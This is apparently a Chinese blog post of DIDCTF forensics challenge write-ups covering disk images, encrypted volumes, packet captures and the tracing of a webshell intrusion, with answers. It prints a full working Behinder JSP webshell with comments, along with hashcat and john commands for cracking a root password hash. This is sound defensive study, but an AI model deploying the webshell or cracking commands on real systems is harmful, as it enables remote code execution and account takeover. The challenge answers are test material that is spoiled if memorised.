数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第50张

答案:security

由11的分析可知password()函数经过三次哈希值计算

答案:3

开始重构网站,重构文件在检材5中……

检材5密码由9可知解压密码为192.168.110.115-CAB2021

其中内容为数据库服务器的磁盘镜像,三个.dd文件直接挂载或取证分析都是未分配簇

当三个 .dd 文件直接挂载或取证分析均显示为未分配簇时,说明这些镜像单独存在时无法构成完整的逻辑文件系统。

RAID(Redundant Array of Independent Disks)通过将多块物理磁盘组合成一个逻辑单元,提供数据冗余、性能提升或容量扩展。

RAID重组 通常在以下场景中执行:

  1. 磁盘故障:RAID中某块磁盘损坏,需要替换并重建数据。
  2. 配置丢失:RAID控制器故障或配置信息丢失,需手动重建逻辑卷。
  3. 数据恢复:从离线或损坏的磁盘中提取数据时,需重组RAID结构。

核心操作步骤

  • 确定RAID级别(如RAID 0、1、5、6、10等)。
  • 分析磁盘顺序(确定成员盘的排列顺序)。
  • 计算参数(如条带大小、校验算法、数据分布规则)。
  • 重组逻辑卷(通过软件或硬件恢复原始数据布局)。

这里使用R-STUDIO工具进行RAID重组自动检测:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第51张

导入.dd文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第52张

点击自动检测:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第53张

创建镜像->逐字节检测生成虚拟块.dsk文件

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第54张

再进行仿真,重构出服务器服务器

按理说应该这么做,但仿真大师(试用版)不知道抽什么风总是仿真失败,用仿真大师自带的自动计算磁盘阵列的功能也是仿真失败……

直接上别人的答案……

此时访问http://192.168.110.113/admin即可加载出罪犯接收隐私服务器:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第55张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第56张

答案:6002

这里要注意时区 检材二也就是负载均衡服务器是utc时区,检材二中第九题的日志记录情况 在2021.4.24 6:37(utc时间)左右上传了通讯录 其对应的utc+8时间应为 当日14:37左右手机型号也能对上 由此可以得到受害者手机号码

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第57张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第58张

通过对检材二和三进行分析,警方通过IP落地,警方掌成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题

(应当优先分析这个来得到检材3的答案)

检材4密码由检材2中的2可知为192.168.110.203-CAB2021

使用取证大师进行计算:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第59张

罪犯的D盘经Bitlocker加密,但是在取证大师的取证分析中得出了Bitlocker恢复密钥检索:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第60张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第61张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第62张

解密D盘后再次进行取证分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第63张

搜索NT密码哈希值:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第64张

答案:12306

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第65张

答案:chrome

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第66张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第67张

IMEI(International Mobile Equipment Identity,国际移动设备识别码)是用于唯一标识一部移动设备的15位数字代码。它是全球通用的设备身份标识符,类似于手机的“身份证号码”,在手机的整个生命周期中保持唯一性。

使用美亚柏科手机大师(试用版):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第68张

然后就寄了,因为火眼取证得到的IMEI不同:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第69张

手机大师分析不出来……

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第70张

还得看别人用火眼取证:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第71张

翻聊天记录

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第72张

手机大师做得到!

罪犯信息:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第73张

与受害者的聊天记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第74张

答案:wxid_op8i06j0aano22

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第75张

答案:1649840939

导出我赚钱的工具.zip文件并解压(解压密码12306,与加密磁盘密码是同样的),里面是虚拟机镜像文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第76张

取证大师挂载后计算其hash值:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第77张

但是不对……

那就挂载虚拟机,继续分析嫌疑人的赚钱容器。但是要密码,该怎么办?

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第78张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第79张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第80张

绕过成功后直接空密码登录

在快速访问中找到小白鼠.txt,但是文件太大打不开,推测并不是txt文件

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第81张

导出该文件进行分析,是VeraCrypt的加密磁盘镜像……可以推测其内容为嫌疑人用于管理敲诈对象的容器文件

因此计算小白鼠.txt的hash值即可

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第82张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第83张

使用VeraCrypt挂载要密码,使用发现的key.rar作为密钥文件成功挂载:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第84张

得出了郭先生的电话号码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第85张

由上一题分析可以看出记录了5位受害者

解压并计算:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第86张

(要小写)

支付宝提醒助手里面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第87张

伊对 (手机大师分析不出的)金先生聊天记录里面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第88张

微信聊天记录里面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第89张

虚拟机压缩包里面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第90张

数据库里面,找到我的账单 右键保存数据为1.jpg

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第91张

有嫌疑人在使用Windows系统,取证人员对该系统进行了硬盘镜像。通过自己的工具软件对档案袋中的镜像文件进行提取、分析、逆向、恢复、破解、查找等,在线完成填空、简答。
比赛材料记录 比赛的计算机镜像资料镜像名为“windows7disk.E01”

参考文章:DIDCTF-2022暑假取证学习 - WTT0011 - 博客园

使用取证大师进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第92张

使用取证大师进行计算:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第93张

取证大师分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第94张

答案:夜神模拟器2021年05月03日

寻找该靶机的虚拟磁盘文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第95张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第96张

可以推测加密磁盘镜像文件TMP00000008578720C0A2D5E4D8经挂载后成了my.vhd

答案:my.vhd/my1.vhd

由1中取证大师的分析中就有系统安装时间

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第97张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第98张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第99张

本题仅一次答题机会

360浏览器2021-05-03 20:16:43

Edge浏览器2021-05-03 20:26:44

谷歌浏览器2021-05-03 20:16:44

搜狗极速浏览器2021-06-03 20:16:44

主要是靶机上只能找到谷歌浏览器……

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第100张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第101张

本题仅一次答题机会

UTC+8
UTC+4
UTC+2
UTC+6

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第102张

跳转到源文件,对SYSTEM文件进行注册表解析,发现有两套时区信息配置(ControlSet001ControlTimeZoneInformationControlSet002ControlTimeZoneInformation):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第103张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第104张

第二套时区配置取证大师没有自动取证出来

总之使用的是China Standard Time中国标准时间

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第105张

Windows 通过多个 ControlSet 确保系统在更新或配置错误时能够回退到稳定状态。


ControlSet 用途 典型场景 ControlSet001 系统当前使用的配置(可能对应 CurrentControlSet)。 正常启动时使用的配置。 ControlSet002 上一次成功启动的配置(即 LastKnownGood 配置)。 当系统检测到当前配置启动失败后,自动回退到此配置。 其他编号 系统可能保留更多历史版本(如 ControlSet003),但通常仅保留两个副本。 多次系统更新或配置变更后可能生成。

查看浏览器记住的用户密码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第106张

没有密码,跳转到源文件(数据库文件)进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第107张

然而密码是加密的,因此使用仿真软件进行仿真模拟后分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第108张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第109张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第110张

复制即可得到密码

补充:某取证工具具有自动解码功能

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第111张

答案:https://www.baidu.com/+test+test@test2021.com

在 Windows 系统中,每个用户和组都有一个唯一的 SID(Security Identifier,安全标识符)。SID 是系统内部用于识别安全主体的核心标识符,用于权限管理、资源访问控制等场景。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第112张

看别人的WP这个题目问题好像应该是:请给出源磁盘结束扇区位置

取证大师分析的不够准确,我们进行挂载分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第113张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第114张

挂载后发现磁盘大小为:32210153472,但不是正确答案

因此开始计算:

首先计算起始扇区的位置

物理位置/每个扇区字节数=磁盘起始位置1048576/512=2048(扇区号从 0 开始计数时为 2048)

扇区数+磁盘起始位置=结束扇区62910464+2048=62912512

补充:使用某取证工具可以直接分析出来

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第115张

如果扇区编号从 0 开始,那么磁盘的总扇区数实际上是 62912511 + 1 = 62912512

由挂载的磁盘来看文件系统为NTFS

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第116张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第117张

SanDisk+4C530001310423109141+2021-05-04 14:36:21

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第118张

nox_setup_v7.0.0.6_full.exe+新建文本文档1.txt+测试.rtf

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第119张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第120张

由11的分析可知答案

2021年10月某日早上,本市一个名为“大路建设”的高速公路工地主管发现办公室的计算机被加密并无法开启,其后收到了勒索通知。考虑到高速公路的基建安全,主管决定报警。警方调查人员到达现场取证,发现办公室内有三部个人计算机,通过一个老款路由器接入互联网。 经调查相关电子证据后,警方怀疑一位本地男子–阿力士与本案有关,并将他拘捕。现在你被委派处理这起案件,请由以下资料分析阿力士在本案中的违法犯罪行为, 并还原事件经过。

资料

编号 详情 1 阿力士的背景资料 2 警方现场勘查的调查报告 3 高速公路工地办公室路由器的记录 4 工地主管办公室计算机的电子数据 5 工地主管移动电话的电子数据 6 阿力士计算机的电子数据 7 阿力士FTP 服务器的电子数据 8 阿力士移动电话(1)的电子数据 9 阿力士移动电话(2)的电子数据

挂载/解压密码: 压缩包解压密码:MeiyaCup2021 VC加密容器密码:

不是HfsCk]!pQC-H5BAc^gBo/^qq)/i21ufiN@H"Y而是

HfsCk]<eUqc5Q

使用脚本:

from collections import Counter
import re

# 读取 access.log 文件
log_file = "access.log"

# 正则表达式匹配 IP 地址
ip_pattern = re.compile(r'b(?:d{1,3}.){3}d{1,3}b')

# 统计 IP 频次
ip_counter = Counter()

with open(log_file, "r", encoding="utf-8") as f:
    for line in f:
        match = ip_pattern.search(line)
        if match:
            ip_counter[match.group()] += 1

# 输出统计结果
for ip, count in ip_counter.most_common():
    print(f"{ip}: {count}")

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第121张

或者使用awk进行分析:

awk '{print $1}' access.log |sort|uniq -c > 1.csv

然后按大小排序分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第122张

请分析windows日志文件winlog.evtx,并从中找到key信息。

事件查看器进行分析(按照ID排序):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第123张

某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。

flag为8位长度字符串

协议分级,根据题目背景优先分析telnet远控协议:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第124张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第125张

前面都是登录失败的流量,找到登录成功的:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第126张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第127张

下列抓包⽂件中包含了⽤户登录⽹站过程,请找出⽤户登录⽹站的明⽂密码。格式flag{密码}

登录网站的过程优先分析HTTP流来寻找:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第128张

有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。

打开日志,搜索登录操作系统成功的关键词accepted

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第129张

请分析可疑流量并找到key信息

请提交8位长度字符串

流量非常大,尝试过滤分析http流,搜索key关键词,找到传输的压缩包:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第130张

压缩包是网站的源文件备份,里面藏着key:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第131张

在排除了伪加密的情况后,进行爆破的同时在流量中寻找解压密码(搜索关键词):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第132张

成功解压得到key

请根据日志分析攻击者写入的木马的连接密码,提交格式为:flag{xxxxx}

大部分是404的记录,我们只关注200的记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第133张

找到奇怪的GET请求,进行URL解码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第134张

再解码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第135张

在企业网络中,总有部分系统管理员为了方便文件共享就直接在服务器上搭建FTP、NFS等服务。因为,系统管理员对文件访问权限设置的不合理,用户存在弱密码等原因,给黑客留下了可乘之机。好在全流量监控平台可以截获黑客窃取的这部分敏感数据,应急响应人员后期便可根据泄漏信息的重要程度来制定不同等级的应急响应预案。在该台服务器上便发生过FTP数据窃取事件,请通过分析得出黑客窃取的敏感数据key4的值。(key4为8位随机数字和字母构成的字符串) 注释:全流量监控平台抓取的此次数据泄漏事件的流量包capture.pcap存放在FTP服务的日志目录下面。 解压缩密码 +X:K1T}

此题附件为FTP数据窃取流量,因此优先分析FTP协议内容:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第136张

加密的压缩包,尝试寻找密码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第137张

解压密码也在FTP服务器中,但是没有传输记录因此找不到

最后再仔细看看题目介绍就能找到解压密码了……

data.img 文件为硬盘镜像副本,请恢复该硬盘中的文件,寻找 Flag

恢复硬盘文件使用磁盘精灵:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第138张

恢复成功从无需密码的RAR中得到flag

从网络通信方式的层面看,后门可以被分为http/https类型、irc类型、icmp类型、dns类型等。在某次应急响应行动中,安全人员抓到了一份可疑的流量包,请从流量包中分析出通过某种特殊协议传输的敏感数据key1的值。

ICMP 协议被用作信息通道,可能是某个恶意程序或攻击者利用 ping 进行数据传输:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第139张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第140张

即可得到key

另一个流量包中隐藏着的flag藏在ICMP协议报文内容中,是藏头诗

分析HTTP流,可以发现有f1aG1.zipf1aG2.zipf1aG3.zipf1aG4.zipf1aG5.zip的传输,并且还有一个密码文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第141张

尝试手动导出ZIP文件,只有f1aG5.zip加密了,解密即可得到flag

您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。

条件限制,没有靶机,但是用流量包也可以做
关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第142张

从传马的流量和会话统计可以推测出202.1.1.1为攻击者IP,202.1.1.66为http服务器

IP 地址 作用 说明 239.255.255.250 SSDP 多播 设备发现(UPnP) 202.1.1.254 可能是网关 具体用途需检查网络环境 224.0.0.251 mDNS 多播 Bonjour、ZeroConf 设备发现 202.1.1.255 可能是广播地址 202.1.1.0/24 网段内的广播

剩下202.1.1.129202.1.1.130,查看流量继续分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第143张

可以发现202.1.1.130作为服务端回传了关键信息给202.1.1.129

存在安全问题的apk中使用的登录密码是什么?

继续分析流量,若寻找登录密码最好从POST请求开始查询:

http.request.method == "POST"

然后搜索相关关键词如pass

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第144张

或者逆向分析apk查找应用主入口

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第145张

关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

继续分析POST请求内容,注意关键词upload寻找上传文件api或页面:

http.request.uri contains "upload"

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第146张

追踪流即可找出上传的文件名:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第147张

关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

找到传马成功的流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第148张

追踪流:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第149张

答案:http://202.1.1.66:8080/api/upload

关卡描述:黑客上传的webshell绝对路径是什么?

参考文章:第一届长城杯铁人三项赛-决赛 | Y0ung's Blog

这里需要有服务器才能找出webshell绝对路径

不然由上题分析只有相对路径/static服务器路径并不是/var/www/html/

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第150张

答案:/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡描述:黑客上传的webshell的密码是什么?

分析关卡4上传的冰蝎马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%! 
    // 自定义类加载器 U,继承自 ClassLoader
    class U extends ClassLoader {
        // 构造方法,接受父类加载器
        U(ClassLoader c) { 
            super(c); 
        }

        // 通过 defineClass() 方法将字节码数组转换为 Java 类
        public Class g(byte[] b) { 
            return super.defineClass(b, 0, b.length); 
        }
    }
%>

<%
    // 检查请求是否带有 "bing_pass" 参数
    if (request.getParameter("bing_pass") != null) {
        // 生成一个 16 字节的 AES 密钥
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        
        // 将密钥存入 Session 变量 "u"
        session.putValue("u", k);

        // 将密钥返回给客户端,供后续 AES 加密使用
        out.print(k);
        return; // 结束请求
    }

    // 初始化 AES 解密对象
    Cipher c = Cipher.getInstance("AES");

    // 获取存储在 Session 中的密钥,并创建 AES 密钥对象
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));

    // 读取请求体内容(假设是 Base64 编码的 AES 加密数据),并进行解密
    byte[] decryptedData = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));

    // 使用自定义类加载器 U 加载解密后的 Java 字节码
    Class<?> loadedClass = new U(this.getClass().getClassLoader()).g(decryptedData);

    // 通过反射创建实例,并调用 equals() 方法
    loadedClass.newInstance().equals(pageContext);
%>

冰蝎马运行过程:

1. 生成 AES 密钥

  • 如果请求中带有 bing_pass参数:
    1. 生成一个 16 字节 的随机 AES 密钥。
    2. 存入 session["u"],用作加密/解密密钥。
    3. 返回密钥给客户端,攻击者可以使用它来加密 payload。

2. 远程代码执行

  • 读取 HTTP 请求体,获取 Base64 编码 的 AES 加密数据。
  • 用 Session 中存的密钥解密,还原 Java 类的字节码。
  • 通过 U 类加载器动态加载字节码,并执行 equals() 方法(可能包含恶意代码)。
关卡描述:黑客通过webshell执行的第一条命令是什么?

继续分析与木马相关流量:

http.request.uri contains "s74e7vwmzs21d5x6.jsp"

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第151张

前两条是向服务端传输AES密钥的流量,下面的才是执行的第一条命令:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第152张

使用蓝队分析工具对冰蝎马进行解密(项目地址:abc123info/BlueTeamTools: 蓝队分析研判工具箱,功能包括内存马反编译分析、各种代码格式化、网空资产测绘功能、溯源辅助、解密冰蝎流量、解密哥斯拉流量、解密Shiro/CAS/Log4j2的攻击payload、IP/端口连接分析、各种编码/解码功能、蓝队分析常用网址、java反序列化数据包分析、Java类名搜索、Fofa搜索、Hunter搜索等。):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第153张

可以发现第一条命令为pwd

关卡描述:黑客获取webshell时查询当前shell的权限是什么?

继续分析流量,找到执行whoami请求流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第154张

将返回流量进行解密:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第155张

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

继续分析流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第156张

返回包:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第157张

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第158张

可以发现秘密文件为secret.file,对相关请求流量进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第159张

关卡描述:黑客通过反连执行的第一条命令是什么?

寻找反弹shell建立后的流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第160张

追踪TCP流:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第161张

不知道为什么答案是第二条命令cat /etc/passwd

关卡描述:黑客通过什么文件修改的root密码(绝对路径)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第162张

关卡描述:黑客设置的root密码是多少?

使用hashcat进行爆破解密(将密码hash值存入1.txt中):

hashcat -m 1800 -a 0 -o cracked.txt 1.txt rockyou.txt

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第163张

或者用john:

john --wordlist=rockyou.txt 1.txt

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第164张

关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

由关卡11分析可知黑客的监听IP和端口为202.1.1.129:4444,但并不是留下后门的反连ip和port

端点分析,过滤202.1.1.129IP进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第165张

可以发现反连端口为9999

或者

参考文章:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog、第一届长城杯铁人三项赛-决赛 | Y0ung's Blog

观察Linux 系统日志(/var/log/cron /var/log/messages):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第166张

或定时任务crontab -e

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第167张

关卡描述:黑客通过后门反连执行的第一条命令是什么?

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第168张

RPM(Red Hat Package Manager) 维护的已安装软件包中 查找包含 "pam" 的软件包

pam(Pluggable Authentication Modules):Linux 可插拔认证模块,控制身份验证。

原文地址:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog

关卡描述:黑客通过什么文件留下了后门?

根据上一题的命令去搜索pam相关文件

找到/usr/lib/security/pam_unix.so/usr/lib64/security/pam_unix.so

存在后门

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第169张

关卡描述:黑客设置的后门密码是什么?

继续往下走,直接看到密码

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第170张

关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)

继续向下

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第171张

